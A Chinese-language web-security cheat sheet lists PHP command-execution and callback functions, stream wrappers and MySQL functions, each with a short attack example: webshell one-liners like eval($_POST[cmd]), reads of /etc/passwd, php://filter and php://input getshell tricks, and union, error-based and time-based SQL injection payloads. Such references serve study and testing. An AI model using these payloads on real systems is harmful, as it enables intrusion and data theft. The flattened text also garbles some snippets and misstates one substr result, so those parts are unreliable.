OS命令执行函数(外部命令)System()执行命令直接输出原始结果到浏览器并返回结果的最后一行。system(whoami);屏幕直接显示用户名并返回该字符串exec执行命令不直接输出只返回结果的最后一行。结果存在于第二个参数数组中。exec(whoami, );output);$output 数组包含全部行函数返回最后一行shell_exec()执行命令返回完整的字符串结果无回显需 echo。常用反引号 替代。 | echo shell_exec(whoami);或 echo \\whoami; |passthru()执行命令直接将二进制或原始输出传到标准输出常用来处理图片流或大量数据。passthru(ping 127.0.0.1 -c 4);直接显示 ping 过程popen打开进程文件指针。不直接返回执行结果而是返回一个文件指针用于读写进程的输入/输出流。fp popen‘ls,r;echofread(fp,1024);pclose($fp);proc_openpopen() 的增强版提供更精细的控制stdin/stdout/stderr 管道。descs [0[pipe,r], 1[pipe,u]];pproc_open(whoami,descs,pipes);echo stream)_get_contents($pipes[1]);pcntl_exec()在当前进程空间执行指定程序执行后当前 PHP 进程会被替换掉后续代码不执行).pcntl_exec(/bin/bash, [-c, whoami]);echo 不会执行到这里;php代码执行函数任意代码eval将字符串作为 PHP 代码执行。最经典的“大马”常用函数。eval(echo 123;);常见木马eval($_POST[cmd]);assertPHP 7.3 后已废弃。早期可将字符串当代码执行动态调用时危险。assert(phpinfo());7.2 之前有效7.3 只断言布尔值${···}解析双引号或 Heredoc 结构中${...} 里的代码会被解析执行。phpinfo();或{eval($_POST[x])}回调函数导致的RCEcall_user_func()调用回调函数第一个参数是函数名第二个是参数。call_user_func(system,whoami);call_user_func_array()同上参数以数组形式传入。call_user_func_array(system, [whoami]);array_filter()过滤数组回调函数返回 true 保留。可传入 system 执行命令。array_filter([id], system);输出 id 结果array_map()将回调函数作用到数组的每个元素上。经典 Webshell 写法。array_map(system, [whoami, ipconfig]);uasort/uksort()自定义排序回调。常结合 $_GET 实现无字母数字 RCE。usort($_GET, system.chr(40).chr(41));实际利用较绕常配合 create_functionpreg_replace()匹配到的内容会被当作PHP执行。preg_replace(/.*/e, phpinfo(), x);文件操作与伪协议curl_exec()执行 CURL 会话若返回内容可控可导致 SSRF 或 CRLF 注入。配合 curl_setopt(ℎ,,_GET[url]);file_get_contents()读取文件内容到字符串。配合伪协议可读源码或 getshell。echofile_get_contents(php://filter/readconvert.base64-encode/resourceconfig.php);alert()JavaScript 弹窗函数非 PHP常出现在 XSS 测试中注入点写入scriptalert(1)/scriptfile://访问本地文件系统。include(file:///etc/passwd);php//filter对文件流进行过滤器处理。可绕过 ?php exit; 死亡代码。readfile(php://filter/convert.base64-encode/resourceindex.php);绕过死亡 exitphp://filter/writeconvert.base64-decode/resourceshell.php需配合 payloadzip://读取压缩包内的文件配合 include 可将压缩包内的 PHP 文件当作代码执行。include(zip://shell.zip#shell.php);需将 shell.php 打包成 zipphp//input读取 POST 原始数据。当 allow_url_includeOn 时可把 POST 体当作 PHP 文件执行。include(php://input);POST 数据?php phpinfo(); ?php://通用访问各类输入/输出流。注意allow_url_fopen 和 allow_url_include 关闭时依然可用$fp fopen(php://output, w);SQL 注入常用函数报错 / 联合 / 布尔盲注concat将多个字符串拼接成一个字符串SELECT concat(username, :, password) FROM admin;结果admin:123456group_concat()将分组内的多行数据合并成一行用逗号分隔常用于一次爆出所有数据。SELECT group_concat(table_name) FROM information_schema.tables;结果users,logs,adminload_file()读取服务器上的本地文件并返回内容需有 FILE 权限。SELECT load_file(/etc/passwd);或 load_file(0x2F6574632F... )十六进制绕过extractvalue()从 XML 中提取值参数错误时会报错并显示内容MySQL 报错注入常用。SELECT extractvalue(1, concat(0x7e, version(), 0x7e));XPATH 语法错误导致回显版本号updatexml()更新 XML参数错误时报错回显用法同 extractvalue。SELECT updatexml(1, concat(0x7e, database()), 1);floor() rand()利用 floor(rand(0)*2) 的主键重复报错爆出数据经典的 group by 报错。SELECT count(*), concat(version(), floor(rand(0)*2)) as x FROM users GROUP BY x;union联合查询将两个 列数相同 的查询结果拼在一起。?id-1 union select 1,2,group_concat(password) from admin-- -order by按指定列排序。用于探测列数数字超过列数时报错。?id1 order by 4若只有 3 列则报错 Unknown column 4sleep()延迟指定秒数。用于时间盲注根据页面响应时间判断条件真假。?id1 and if(ascii(substr(database(),1,1))115, sleep(5), 0)-- -like模糊匹配常用于布尔盲注简化语句。?id1 and (select database()) like sec%-- -猜库名开头substr() / substring()截取字符串。substr(abc, 1, 1) 返回 b注意下标从 1 开始。substr((select database()), 1, 1) s limit限制查询条数。limit 0,1 取第一条limit 1,1 取第二条。union select 1,2,3 limit 0,1phpinfo()输出 PHP 配置信息信息泄露第一口粮看禁用函数、路径、扩展。phpinfo();SQL 注入遗漏函数字符处理与绕过ascii() / ord()返回字符的 ASCII 码布尔盲注的核心比用 比较字符串更稳定。ascii(substr(database(),1,1)) 100mid()substring 的同款函数部分数据库如 MySQL 支持。mid((select version()),1,1)if()MySQL 流程控制函数条件盲注万金油。if(11, sleep(5), 0)hex()将字符串转为十六进制绕过引号/过滤时常用。select hex(admin) - 61646D696Echar()将 ASCII 码转成字符无引号注入。select char(97,100,109,105,110) - admin